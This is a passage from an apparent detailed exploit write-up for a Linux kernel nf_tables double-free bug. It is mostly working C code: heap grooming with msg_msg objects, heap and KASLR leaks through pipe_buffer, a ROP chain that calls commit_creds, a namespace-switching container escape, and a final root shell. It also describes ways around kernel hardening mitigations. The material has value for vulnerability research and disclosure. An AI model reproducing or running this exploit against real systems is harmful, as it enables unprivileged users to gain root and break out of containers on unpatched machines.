	list_del_rcu(&binding->list);

	if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) {
		list_del_rcu(&set->list); // [1]
		if (event)
			nf_tables_set_notify(ctx, set, NFT_MSG_DELSET,
					     GFP_KERNEL);
	}
}

Note that the nft_set object is not only double-freed but also double-unlinked from the list [1]. Normally, this would cause a general protection fault and crash the kernel, but we've found that this doesn't happen when CONFIG_DEBUG_LIST is on. Please refer CONFIG_DEBUG_LIST leading to expand vulnerability's capability section of novel-techniques.md for more details.

Moreover, we found multiple ways to control the size of struct nft_set to determine which cache would hold double-freed chunks. In this exploit, we adjusted NFTA_SET_USERDATA to control the object size. Please refer Usage of struct nft_set as a novel target object section of novel-techniques.md for details. Using this technique, we could place the set object on kmalloc-cg-512 and dyn-kmalloc-512 cache for lts-6.1.31 and mitigation-6.1, and we could place the object on kmalloc-1k cache for cos-105.17412-101.17.

5. Initialization for exploit Copy Chapter

Before triggering the vulnerability, the exploit takes the following steps:

1. Initialize kernel image-specific values
2. Disable buffering
3. Setup namespaces
4. Pinning the CPU

5.1 Initialize kernel image-specific values Copy Section

• exploit/extra-refined/exploit.c#L67

struct kernel_gadget
{
    char *version;
    // flag for exploit caches
    int is_netfilter_cg;

    // KASLR leak related value
    uintptr_t anon_pipe_buf_ops_offset;
    uintptr_t nft_set_ops_offset;

    // task_struct related offsets
    uintptr_t init_task_offset;
    uintptr_t init_nsproxy_offset;
    uintptr_t init_cred_offset;
    uintptr_t init_fs_offset;

    // helpher function
    uintptr_t set_memory_x_offset;
    uintptr_t find_task_by_vpid_offset;
    uintptr_t switch_task_namespaces_offset;
    uintptr_t prepare_kernel_cred_offset;
    uintptr_t commit_creds_offset;
    uintptr_t msleep_offset;

    // ROP gadgets
	// pop rdi ; ret
    uintptr_t pop_rdi_ret_offset;
	// pop rsi ; ret
    uintptr_t pop_rsi_ret_offset;
	// pop rcx ; ret
    uintptr_t pop_rcx_ret_offset;
    uintptr_t ret2user_gadget_offset;
	// push rax ; jmp qword ptr [rsi - 0x7f]
    uintptr_t push_rax_jmp_qptr_rsi_7f_offset;
    // push rsi ; jmp qword ptr [rsi + 0x39]
    uintptr_t pivot_gadget_cg_1_offset;
    // pop rsp ; ret
    uintptr_t pivot_gadget_cg_2_offset;
    // push rdi ; jmp qword ptr [rsi + 0x39]
    uintptr_t pivot_gadget_nocg_1_offset;
    // pop rsp ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff81004130 (nop ; ret)
    uintptr_t pivot_gadget_nocg_2_offset;
    // add rsp, 0xc8 ; jmp 0xffffffff82204200 (ret)
    uintptr_t pivot_gadget_nocg_3_offset;
};

We first initialize kernel image-specific values. In particular, we check the kernel version with uname syscall and initialize the struct above. This will be used for managing these kernel image-specific values.

if (!init_gadget()) // [1]
{
	printf("[-] exploit not supported\n");
	return -1;
}
if (curr_gadget->is_netfilter_cg) // [2]
{
	main_cg(argc, argv);
}
else
{
	main_nocg(argc, argv);
}

After this initialization [1], we proceed to next steps depending on whether the Netfilter objects are in a cgroup cache or not [2]. Note that lts-6.1.31 and mitigaion-6.1 use the cgroup cache and cos-105-17412.101.17 does not.

5.2 Disable buffering Copy Section

• exploit/extra-refined/exploit.c#L1230

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);

Disable buffering for stdin, stdout, and stderr with setvbuf syscall.

5.3 Setup namespaces Copy Section

• exploit/extra-refined/exploit.c#L1234

unshare_setup(getuid(), getgid());

• exploit/extra-refined/exploit.c#L295

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];

    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);

    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);

    return;
}

We create and enter user/network namespace with unshare syscall. This is necessary to trigger the vulnerability of the Netfilter nf_tables system as an unprivileged user.

5.4 Pinning the CPU Copy Section

• exploit/extra-refined/exploit.c#L1235

set_cpu_affinity(0, 0);

• exploit/extra-refined/exploit.c#L319

void set_cpu_affinity(int cpu_n, pid_t pid) {
        cpu_set_t *set = malloc(sizeof(cpu_set_t));

        CPU_ZERO(set);
        CPU_SET(cpu_n, set);

        if (sched_setaffinity(pid, sizeof(set), set) < 0){
                perror("sched_setaffinity");
                return;
        }
        free(set);
}

Pinning the current task into CPU core 0 with sched_setaffinity syscall. This is to maintain the exploit context in the same core to utilize percpu slab cache and freelist.

6. Exploit for LTS 6.1.31 Instance Copy Chapter

In this section, we discuss the exploit in detail for lts-6.1.31 instances.

6.1 Overview Copy Section

This exploit takes the following steps:

1. Preparation for object manipulation
2. Heap grooming
3. Triggering the vulnerability for overlapping chunks
4. Heap leak
5. KASLR leak
6. PC control for ROP
7. Post exploitation

6.2 Preparation for object manipulation Copy Section

First, we initialize the message queues to manipulate struct msg_msg and struct msg_msgseg, which are the core objects for lts-6.1.31 exploit.

• exploit/extra-refined/exploit.c#L740

init_msgq(msgqids1, 3);
init_msgq(&msgqid3, 1);

// for prevent accessing corrupted freelist
// ...and for objects to leak
// 1k -> TARGET_CACHE (512)
// (for struct pipe_buf) -> (for reclaim)
init_msgq(msgqids2, MSG_MSG_SPRAY_CNT);

Each message queue performs the following roles.

• msgqids1 is used to reclaim double-freed chunks.
• msgqids2 is used for two purposes: to leak the address of kmalloc-cg-1k slab chunks and to populate the corrupted freelist.
• msgqid3 is used to allocate struct msg_msgseg objects.

6.3 Heap grooming Copy Section

• exploit/extra-refined/exploit.c#L750

// defragmentation
spray_msgsnd(msgqids2, MSG_MSG_SPRAY_CNT, 0x400, buf, 1, 2);
spray_msgsnd(msgqids2, MSG_MSG_SPRAY_CNT, CG_MSG_MSG_SIZE, buf, 1, 2);
release_msg(msgqids2, MSG_MSG_SPRAY_CNT);
release_msg(msgqids2, MSG_MSG_SPRAY_CNT);

• exploit/extra-refined/exploit.c#L212

int send_msg(int msgqid, char * data, size_t size, long mtype){
        struct msgp * m = malloc(sizeof(long) + size);
        int ret = -1;
        memcpy(m->mtext, data, size);
        m->mtype = mtype;

        ret = msgsnd(msgqid, m, size, 0);

        free(m);
        return ret;
}

void spray_msgsnd(int * msgq_arr, size_t spray_size, size_t cache_size, char * data, size_t iter, long mtype){
        for(size_t i = 0; i < spray_size; i++)
                for(size_t j = 0; j < iter; j++){
                        if(msgq_arr[i] < 0) continue;
                        if(send_msg(msgq_arr[i], data, cache_size - 48, mtype) < 0)
                                perror("msgsnd");
                }
        return;
}

void release_msg(int * msgq_arr, size_t spray_size){
        int ret;
        char msg_buf[0x2000];
        struct msgp * msg = (struct msgp *)msg_buf;

        for(size_t i = 0; i < spray_size; i++){
                if(msgq_arr[i] < 0) continue;
                memset(msg_buf, 0, sizeof(msg_buf));
                ret = msgrcv(msgq_arr[i], msg, sizeof(msg_buf) - 1, 0, IPC_NOWAIT);
                if(ret < 0) perror("msgrcv");
        }
}

We adjust the layout of kmalloc-cg-1k and kmalloc-cg-512 slabs by spraying various sizes of struct msg_msg objects with msgsnd and msgrcv syscalls. This empirically stabilized the exploit somehow (by adjusting the slab layout or increasing the time windows for noise reduction). Every struct msg_msg is sprayed MSG_MSG_SPRAY_CNT(4096) times.

• exploit/extra-refined/exploit.c#L755

memset(buf, 0, CG_MSG_MSG_SIZE);
// 1k-sized msg_msg is special
// it needs to be identified for control unaligned msg_msg
// thus, mark the beginn and end of msg content
// ...and let just avoid very first QWORD since it's used by msg_msgseg->next
for (int i = 0; i < MSG_MSG_SPRAY_CNT; i++)
{
	memset(buf, 0, 0x400);
	*(uintptr_t *)(buf + 8) = i;
	*(uintptr_t *)(buf + 0x400 - 48 - 8) = i;
	if (send_msg(msgqids2[i], buf, 0x400 - 48, 1) < 0)
		perror("msgsnd");
}
memset(buf, 0, CG_MSG_MSG_SIZE);
spray_msgsnd(msgqids2, MSG_MSG_SPRAY_CNT, CG_MSG_MSG_SIZE, buf, 1, 2);

We spray two types of struct msg_msg for exploit. Every struct msg_msg is sprayed MSG_MSG_SPRAY_CNT(4096) times.

• 1k-sized struct msg_msg: It is sprayed to get an address leak and to enable access to kmalloc-cg-1k slabs, where the struct pipe_buffer object will be located. We mark the beginning and end of the payload to identify which message queue is holding the corresponding struct msg_msg.

• CG_MSG_MSG_SIZE(512)-sized struct msg_msg: It is sprayed after previous struct msg_msg objects using the same message queue id. This occupies kmalloc-cg-512 slabs, where the vulnerable object (struct nft_set) will be located. This struct msg_msg contains the 1k-sized struct msg_msg pointers in list entry.

• exploit/extra-refined/exploit.c#L771

// make some room for double freed chunks
for (size_t i = 10; i < 12; i++)
{
	memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqids2[i], msg, sizeof(msg_buf), 2, IPC_NOWAIT);
	if (ret < 0)
		err(1, "msgrcv");
}

To locate the double-freed chunks in the middle of struct msg_msg objects, we freed the two struct msg_msg from the kmalloc-cg-512 slabs. We choose the arbitrary indices 10 and 11 for this.

In summary, the kmalloc-cg-1k slabs are filled by marked struct msg_msg objects and the kmalloc-cg-512 slabs are also filled by struct msg_msg except the two free holes for double-freed chunks.

6.3 Triggering the vulnerability for overlapping chunks Copy Section

• exploit/extra-refined/exploit.c#L780

nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
{
	err(1, "Cannot into mnl_socket_open()");
}

if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
{
	err(1, "Cannot into mnl_socket_bind()");
}

// setup table and chains
printf("[*] prepare table and chain...\n");
prepare_nftables(nl);

printf("[*] now trigger UAF...\n");
trigger_uaf(nl, NOCG_TARGET_SET_SIZE);

Then, we trigger the vulnerability. For that, we implemented prepare_nftables
and trigger_uaf. Due to its complexity, we did not include this one in this
documentation. So please refer to our exploit code. After that, we
can create the double-freed chunks in the kmalloc-cg-512 cache.

• exploit/extra-refined/exploit.c#L798

// spary msg_msg with unique types
for (int i = 0; i < 3; i++)
{
	memset(buf, 0, CG_MSG_MSG_SIZE);
	if (msgqids1[i] < 0)
		continue;
	if (send_msg(msgqids1[i], buf, CG_MSG_MSG_SIZE - 48, i + 1) < 0)
		perror("msgsnd");
}

// and check duplicate
int key1, key2;
memset(msg_buf, 0, sizeof(msg_buf));
ret = msgrcv(msgqids1[0], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
if (ret < 0)
	perror("msgrcv");
key1 = msg->mtype;

memset(msg_buf, 0, sizeof(msg_buf));
ret = msgrcv(msgqids1[2], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
if (ret < 0)
	perror("msgrcv");
key2 = msg->mtype;

if (key1 != key2)
{
	err(1, "fail to get double free...");
}
printf("[+] we have duplicated msg_msg! : %d, %d, %d\n", key1, key2, ret);

After we trigger double free, we can reclaim the double-freed chunks by
allocating three 512-sized struct msg_msg objects through msgsnd syscall.
In particular, we reclaim the double-freed chunks placed in the form of A -> B -> A ... by msgqids1[0], msgqids1[1], and msgqids1[2], respectively. Thus, we can get
overlapping struct msg_msg objects through msgqids1[0] and msgqids1[2].

6.4 Heap leak Copy Section

With the overlapping chunks from the previous step, the exploit performs slab address leak for further exploit steps.

• include/linux/msg.h:msg_msg

struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

• ipc/msgutil.c:msg_msgseg

// [1]
struct msg_msgseg {
	struct msg_msgseg *next;
	/* the next part of the message follows immediately */
};

#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

• ipc/msgutil.c:alloc_msg()

static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;

	msg->next = NULL;
	msg->security = NULL;

	len -= alen;
	pseg = &msg->next;
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();

		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); // [2]
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}

We utilize struct msg_msgseg, which can be allocated with a specified size and gives control over the entire slab chunk except for the first 8 bytes [1]. This object is straightforward to allocate since it is allocated with the same routines as struct msg_msg [2].

• exploit/extra-refined/exploit.c#L828

// free the overlapping one and reclaim it with msg_msgseg
memset(buf, 0, sizeof(buf));
uintptr_t buf_ptr = (uintptr_t)buf - 48;
// write the fake size
*(uintptr_t *)(buf_ptr + 0x1000) = 0;                  // mlist.prev
*(uintptr_t *)(buf_ptr + 0x1000 + 8) = 2;              // m_type
*(uintptr_t *)(buf_ptr + 0x1000 + 0x10) = 0x1000 - 48; // m_ts (PG_SIZE - sizeof(struct msg_msg))
*(uintptr_t *)(buf_ptr + 0x1000 + 0x18) = 0;           // next
*(uintptr_t *)(buf_ptr + 0x1000 + 0x20) = 0;           // security

ret = msgrcv(msgqids1[2], msg, sizeof(msg_buf) - 1, 0, IPC_NOWAIT | MSG_NOERROR); // [1]
if (ret < 0)
	perror("msgrcv");
// PG_SIZE - sizeof(struct msg_msg) - TARGET_SIZE - sizeof(struct msg_msgseg)
if (send_msg(msgqid3, buf, 0x1000 + (CG_MSG_MSG_SIZE - 0x10) - 48 - 8, 1) < 0) // [2]
	perror("msgsnd");

To leak a heap address (kmalloc-1k-cg), we overlap struct msg_msg with struct msg_msgseg. For that, we first [1] free struct msg_msg held by msgqids[2] and [2] reclaim it with struct msg_msgseg through msgqid3. We can allocate the x-sized struct msg_msgseg by sending msg whose length is DATALEN_MSG (i.e., PG_SIZE - sizeof(struct msg_msg)) - x - sizeof(struct msg_msgseg) through msgsnd syscall. Note that we can still access struct msg_msg that is overlapped with struct msg_msgseg through msgqids[0].

Using this overlap, we corrupt struct msg_msg. Since we can control struct msg_msgseg object's content except for the first 8 bytes (used for next field), we can overwrite the overlapped struct msg_msg's header except the m_list.next field, which will be overwritten by NULL. We set the header of struct msg_msg as follows.

• m_list.next will be overwritten to NULL by the next fields of struct msg_msgseg
• m_list.prev can be arbitrary values since it doesn't access by any routines unless the struct msg_msg is unlinked. Thus, we set it to NULL.
• m_type also can be an arbitrary value. We set it to 2.
• m_ts is the key part since it determines the total length of the msg stored into the current struct msg_msg. We set it to 0x1000 to get kmalloc-cg-512 cache overread to further exploit steps.
• next and security fields are unused for this steps. They are implicitly set to NULL.

Now we can get slab OOB read from kmalloc-cg-512 through struct msg_msg held by msgqid[0].

• exploit/extra-refined/exploit.c#L845

memset(msg_buf, 0, sizeof(msg_buf));
ret = msgrcv(msgqids1[0], msg, 0x1000 - 48, 0, IPC_NOWAIT | MSG_COPY);
if (ret < 0)
	perror("msgrcv");

uintptr_t small_msg_msg_addr = -1;
printf("[*] overlapped by msg_msgseg : size %d\n", ret);
uintptr_t *payload = (uintptr_t *)msg->mtext;
// candidate offsets by spray layout
// iterate through size of msg_msg
for (size_t i = 0x1d0 / 8; i < ret / 8; i += 64)
{
	if (payload[i] && payload[i + 1])
	{
		small_msg_msg_addr = payload[i + 1];
		break;
	}
}

if (small_msg_msg_addr == -1)
{
	err(1, "fail to leak msg_msg...");
}
printf("[+] 1k-sized msg_msg addr : 0x%llx\n", small_msg_msg_addr);

With this, we are highly likely to get kmalloc-cg-1k chunk's address from the m_list.prev field of the struct msg_msg sprayed below by msgqids2.

• ipc/msgutil.c:copy_msg()

struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
	struct msg_msgseg *dst_pseg, *src_pseg;
	size_t len = src->m_ts;
	size_t alen;

	if (src->m_ts > dst->m_ts)
		return ERR_PTR(-EINVAL);

	alen = min(len, DATALEN_MSG);
	memcpy(dst + 1, src + 1, alen);

	for (dst_pseg = dst->next, src_pseg = src->next;
	     src_pseg != NULL;
	     dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {

		len -= alen;
		alen = min(len, DATALEN_SEG);
		memcpy(dst_pseg + 1, src_pseg + 1, alen); // [1]
	}

	dst->m_type = src->m_type;
	dst->m_ts = src->m_ts;

	return dst;
}

Note that since the routines of msgrcv syscall used memcpy[1] rather than copy_to_user when the MSG_COPY flag is set, the overread across the boundary is not hindered even though CONFIG_USERCOPY_HARDENED is enabled. For your information, CONFIG_USERCOPY_HARNDED enables the mitigation that stops kernel overread with copy_to_user.

6.5 KASLR leak Copy Section

In this step, with the achieved heap leaks, the exploit leaks a kernel base address to bypass KASLR.

• exploit/extra-refined/exploit.c#L870

// re-reclaim with msg_msgseg to trigger free of 64-sized msg_msg
printf("[+] re-reclaim for 1k slab leak!\n");
memset(buf, 0, sizeof(buf));
buf_ptr = (uintptr_t)buf - 48;
// write the fake size
*(uintptr_t *)(buf_ptr + 0x1000) = 0;                                      // mlist.prev
*(uintptr_t *)(buf_ptr + 0x1000 + 8) = 2;                                  // m_type
*(uintptr_t *)(buf_ptr + 0x1000 + 0x10) = 0x1100;                          // m_ts
*(uintptr_t *)(buf_ptr + 0x1000 + 0x18) = small_msg_msg_addr + 0x400 - 48; // msg_msg->data  + 0x400 - 48 == msg_msgseg!

// PG_SIZE - sizeof(struct msg_msg) - TARGET_SIZE - sizeof(struct msg_msgseg)
memset(msg_buf, 0, sizeof(msg_buf));
ret = msgrcv(msgqid3, msg, 1, 1, IPC_NOWAIT | MSG_NOERROR);
if (ret < 0)
	perror("msgrcv");
if (send_msg(msgqid3, buf, 0x1000 + (CG_MSG_MSG_SIZE - 0x10) - 48 - 8, 1) < 0)
	perror("msgsnd");

The next field of struct msg_msg points to the struct msg_msgseg object and can be used for arbitrary read & free. We utilize this arbitrary read primitive to leak kmalloc-cg-1k slab contents with leaked slab address.

We set the header of struct msg_msg to leak kmalloc-cg-1k slab content as follows.

• m_list.next will be overwritten to NULL by the next fields of struct msg_msgseg.
• m_list.prev can be arbitrary values since it doesn't access by any routines unless the struct msg_msg is unlinked. Thus, we set it to NULL.
• m_type also can be an arbitrary value. We set it to 2.
• m_ts is set by 0x1100, which is enough size to read struct msg_msgseg through overwritten next field.
• next field is set by leaked kmalloc-cg-1k chunk's address + chunk_size - sizeof(struct msg_msg). This is for totally controlling the kmalloc-cg-1k chunk located below by unaligned free and unaligned struct msg_msg techniques. Details will be explained later.
• security fields are unused for this steps. It is implicitly set to NULL.

The struct msg_msgseg that contains a fake struct msg_msg header is allocated through msgqid3 and overwrites the struct msg_msg object.

• exploit/extra-refined/exploit.c#L888

// we have leak now
// populate the lk-sized cg cache to prevent crash
for (size_t i = 20; i < MSG_MSG_SPRAY_CNT; i++)
{
	memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqids2[i], msg, sizeof(msg_buf), 2, IPC_NOWAIT);
	if (ret < 0)
		err(1, "msgrcv");
}

However, by the reclaimed double-freed chunks, the percpu freelist of kmalloc-cg-512 cache is now corrupted, and the kernel may crash if the exploit or other tasks tries to allocate on kmalloc-cg-512 caches. To prevent this, we freed the 512-sized struct msg_msg objects which are allocated in the Heap grooming step. This creates enough chunks on the corresponding slab cache and prevents kernel crashes during and after the exploit, even when the allocation occurs on that cache. For more details, please refer Abusing CONFIG_SLAB_FREELIST_HARDENED mitigation to aid exploitation section of novel-techniques.md.

• exploit/extra-refined/exploit.c#L898

int upper_msg_msg_holder = -1;
int lower_msg_msg_holder = -1;
memset(msg_buf, 0, sizeof(msg_buf));
ret = msgrcv(msgqids1[0], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
if (ret < 0)
	perror("msgrcv");
printf("[*] overlapped by msg_msgseg again : size %d\n", ret);
payload = (uintptr_t *)msg->mtext;
// for(size_t i = 0; i < ret / 8; i ++){
//     printf("%d : 0x%llx\n", i, payload[i]);
// }
if (payload[510] && payload[510] < MSG_MSG_SPRAY_CNT)
{
	upper_msg_msg_holder = msgqids2[payload[510]];
	printf("[*] 1k-sized upper msg_msg is holded by %dth msgq (msgq %d)\n", payload[510], upper_msg_msg_holder);
	// remove from spray list
	msgqids2[payload[510]] = -1;
}
if (payload[518] && payload[518] < MSG_MSG_SPRAY_CNT)
{
	lower_msg_msg_holder = msgqids2[payload[518]];
	printf("[*] 1k-sized lower msg_msg is holded by %dth msgq (msgq %d)\n", payload[518], lower_msg_msg_holder);
	// remove from spray list
	msgqids2[payload[518]] = -1;
}

if (upper_msg_msg_holder == -1 || lower_msg_msg_holder == -1)
{
	err(1, "fail to leak unaligned msg_msg...");
}

We can now leak contents of kmalloc-cg-1k slab from unaligned struct msg_msgseg pointed by the next field of struct msg_msg. The unaligned struct msg_msgeg would lie between two struct msg_msg objects. We need to identify which struct msg_msg objects are overlapped with the unaligned struct msg_msgseg object to control memory layout.

To do this, we leak the contents of 1k-sized struct msg_msg objects via struct msg_msgseg and parse them for unique idx marked from Heap grooming step. These marks serve as indicators, enabling us to locate the upper_msg_msg_holder and lower_msg_msg_holder, which are the message queue id holding struct msg_msg objects respectively.

• include/linux/pipe_fs_i.h:pipe_buffer

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

Now we can spray the struct pipe_buffer objects to leak KASLR. the struct pipe_buffer object is used for the KASLR leak because it contains a vtable pointer in the ops field, which is located in the kernel image (anon_pipe_buf_ops by default).

• fs/pipe.c:alloc_pipe_info()

struct pipe_inode_info *alloc_pipe_info(void)
{
	struct pipe_inode_info *pipe;
	unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
	struct user_struct *user = get_current_user();
	unsigned long user_bufs;
	unsigned int max_size = READ_ONCE(pipe_max_size);

	pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);

// ...
	pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
			     GFP_KERNEL_ACCOUNT);
// ... 
}

• fs/pipe.c:pipe_write()

// ...
			buf = &pipe->bufs[head & mask];
			buf->page = page;
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
// ...

If we call pipe syscall, the struct pipe_buffer objects will be allocated.
Then, if we call write syscall to the pipe file descriptor, it will leave
vtable pointers to the struct pipe_buffer objects. It is worth noting that
these buffer objects are allocated in kmalloc-cg-1k slab (Actually, these
buffer objects can have variable sizes though).

• exploit/extra-refined/exploit.c#L929

// release the lower msg_msg and spray pipe_buf
memset(msg_buf, 0, sizeof(msg_buf));
ret = msgrcv(lower_msg_msg_holder, msg, sizeof(msg_buf), 0, IPC_NOWAIT);
if (ret < 0)
	perror("msgrcv");

for (int i = 0; i < 0x100; i++)
{
	if (pipe(pipefd[i]) < 0)
		err(1, "pipe()");
	write(pipefd[i][1], "aaaaaaaa", 8);
}

We free the struct msg_msg located below the unaligned struct msg_msgseg chunk through lower_msg_msg_holder, and then try to reclaim corresponding chunks with struct pipe_buffer objects by pipe syscall.

• exploit/extra-refined/exploit.c#L942

// leak the kalsr slide with anon_pipe_buf_ops leak
uintptr_t kaslr_slide = -1;
uintptr_t anon_pipe_buf_ops_addr = -1;
memset(msg_buf, 0, sizeof(msg_buf));
ret = msgrcv(msgqids1[0], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
if (ret < 0)
	perror("msgrcv");
payload = (uintptr_t *)msg->mtext;
// for(size_t i = 500; i < ret / 8; i ++){
//     printf("%d : 0x%llx\n", i, payload[i]);
// }

anon_pipe_buf_ops_addr = payload[513];
if ((anon_pipe_buf_ops_addr & 0xfff) != (curr_gadget->anon_pipe_buf_ops_offset & 0xfff))
{
	err(1, "fail to leak kaslr...");
}
printf("[+] anon_pipe_buf_ops_addr : %p\n", anon_pipe_buf_ops_addr);
kaslr_slide = anon_pipe_buf_ops_addr - curr_gadget->anon_pipe_buf_ops_offset;
printf("[+] kaslr slide : %p\n", kaslr_slide);

Now we can finally get the KASLR leak by reading struct pipe_buffer object through the unaligned struct msg_msgseg held by msgqids1[0]. Note that we used MSG_COPY flag with msgrcv syscall since we don't want the unaligned struct msg_msgseg chunk to be freed yet.

6.6 PC control for ROP Copy Section

In this step, the exploit triggers RIP control through vtable overwrite and performs ROP for privilege escalation and container escape, with the heap leaks and KASLR leaks from previous steps.

• exploit/extra-refined/exploit.c#L1027

memset(msg_buf, 0, sizeof(msg_buf));
sleep(1);
ret = msgrcv(msgqids1[0], msg, 1, 0, IPC_NOWAIT | MSG_NOERROR);
if (ret < 0)
	perror("msgrcv");
payload = (uintptr_t *)msg->mtext;

// reclaim unaligned 1k msg_msg quickly!
spray_msgsnd(msgqids2, 0x100, 0x400 - 48, buf, 1, 3);

For that, first, the unaligned struct msg_msgseg chunk is freed through msgqids1[0] with msgrcv syscall. Note that current Linux's slub allocator implementation and even freelist hardening of the mitigation instance can't prevent this unaligned free primitive (refer Bypassing CONFIG_SLAB_FREELIST_HARDENED freelist pointer validation mitigation via unaligned head section of novel-techniques.md).

After the unaligned chunk is freed, we spray the 1k-sized struct msg_msg objects that contain fake ops, kernel stack pivot gadget, and ROP payload through msgqids2 to reclaim that unaligned chunk. Note that we set the unaligned chunk start as original chunk boundary - sizeof(struct msg_msg). As a result, we can control the next slab chunk's content with msg payload. This unaligned msg_msg technique gives the powerful capability of overwriting the next chunk without crossing the slab chunk boundary or being hindered by CONFIG_USERCOPY_HARDENED config.

The sleep syscall is used to perform this free-reclaim sequence at the beginning of a given CPU time slice so that our freed chunk is not reclaimed intermediately by some other tasks.

• include/linux/pipe_fs_i.h:pipe_buf_release()

static inline void pipe_buf_release(struct pipe_inode_info *pipe,
				    struct pipe_buffer *buf)
{
	const struct pipe_buf_operations *ops = buf->ops;

	buf->ops = NULL;
	ops->release(pipe, buf);
}

• exploit/extra-refined/exploit.c#L1037

printf("[+] will start with gadget addr %p\n", curr_gadget->pivot_gadget_cg_1_offset + kaslr_slide);

// and trigger ROP!
for (int i = 0; i < 0x100; i++)
{
	close(pipefd[i][0]);
	close(pipefd[i][1]);
}

Then, if we close the pipefd with close syscall, it will trigger RIP control through ops->release function pointer and initiate the execution of our ROP payload.

• exploit/extra-refined/exploit.c#L99

// push rsi ; jmp qword ptr [rsi + 0x39]
uintptr_t pivot_gadget_cg_1_offset;
// pop rsp ; ret
uintptr_t pivot_gadget_cg_2_offset;

• exploit/extra-refined/exploit.c#L976

uintptr_t pipe_buffer_addr = small_msg_msg_addr + 0x400;
*(uintptr_t *)(buf_ptr) = curr_gadget->pivot_gadget_cg_2_offset + kaslr_slide;        // page
*(uintptr_t *)(buf_ptr + 8) = pipe_buffer_addr + 0x50;                                // offset / len
*(uintptr_t *)(buf_ptr + 0x10) = pipe_buffer_addr + 0x18;                             // ops
*(uintptr_t *)(buf_ptr + 0x20) = curr_gadget->pivot_gadget_cg_1_offset + kaslr_slide; // ops->release

*(uintptr_t *)(buf_ptr + 0x39) = curr_gadget->pivot_gadget_cg_2_offset + kaslr_slide;

For fake ops and stack pivot, we use the current chunk's address as ops and store pivot gadgets' address as a fake function. Since the current chunk address is passed by rsi register, we used the above pivot gadgets to pivot the kernel stack to the current chunk.

• exploit/extra-refined/exploit.c#L984

/* Detailed source-code truncated for AI context efficiency. */

After the pivot gadget sequences are executed, the kernel stack is pivoted into chunk_address + 0x50.
The ROP chain performs followings for privilege escalation and container escape.

• commit_creds(prepare_kernel_creds(&init_task));
  • Allocate new kernel-privileged cred and install it into the current process. This escalates the current task's privilege to root.
• switch_task_namespace(find_task_by_vpid(1), &init_nsproxy)
  • Switch the container root process’s nsproxy to init_nsproxy. This prepares the container escape.
• swapgs_restore_regs_and_return_to_usermode
  • Finish the ROP and resume the execution into usermode.

The above code is for crafting the ROP payload with kernel functions and gadgets set from initialization step. Note that we modified the usermode rsp value to prevent segfault by unaligned rsp value when executing AVX instructions on the post-exploit step.

• exploit/extra-refined/exploit.c#L271

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        "movq %%rsp, %3\n"
        : "=r"(cs), "=r"(ss), "=r"(rflags), "=r"(rsp)
        :
        : "memory");
}

save_state function stores the current usermode status such as cs, ss, rflags, rsp, and ss. These register values are used when the kernel ROP returns to usermode.

After this step, the current exploit can acquire root privilege and escape the namespace container.

6.7 Post exploitation Copy Section

In this step, the exploit succeeds and privileged escalation and container escape is ready. Finally, the exploit performs miscellaneous steps for a container-escaped root shell.

• exploit/extra-refined/exploit.c#L702

void post_exploit(void)
{
    printf("[+] exploit success!!\n");
    // spin the parent
    if (fork())
    {
        for (;;)
            ;
    }
    // move to safe cpu
    // to prevent access to corrupted freelist
    set_cpu_affinity(1, 0);
    sleep(1);

    // escape pid/mount/network namespace
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    printf("[+] now drop the shell\n");

    // drop root shell
    execlp("/bin/bash", "/bin/bash", NULL);
    exit(0);
}

After the kernel ROP is done, control flow returns to post_exploit function on userland.
The post_exploit function performs the following.

• Fork the process and spin the parent process. This is to avoid touching corrupted percpu freelist by parent process or other tasks as possible.
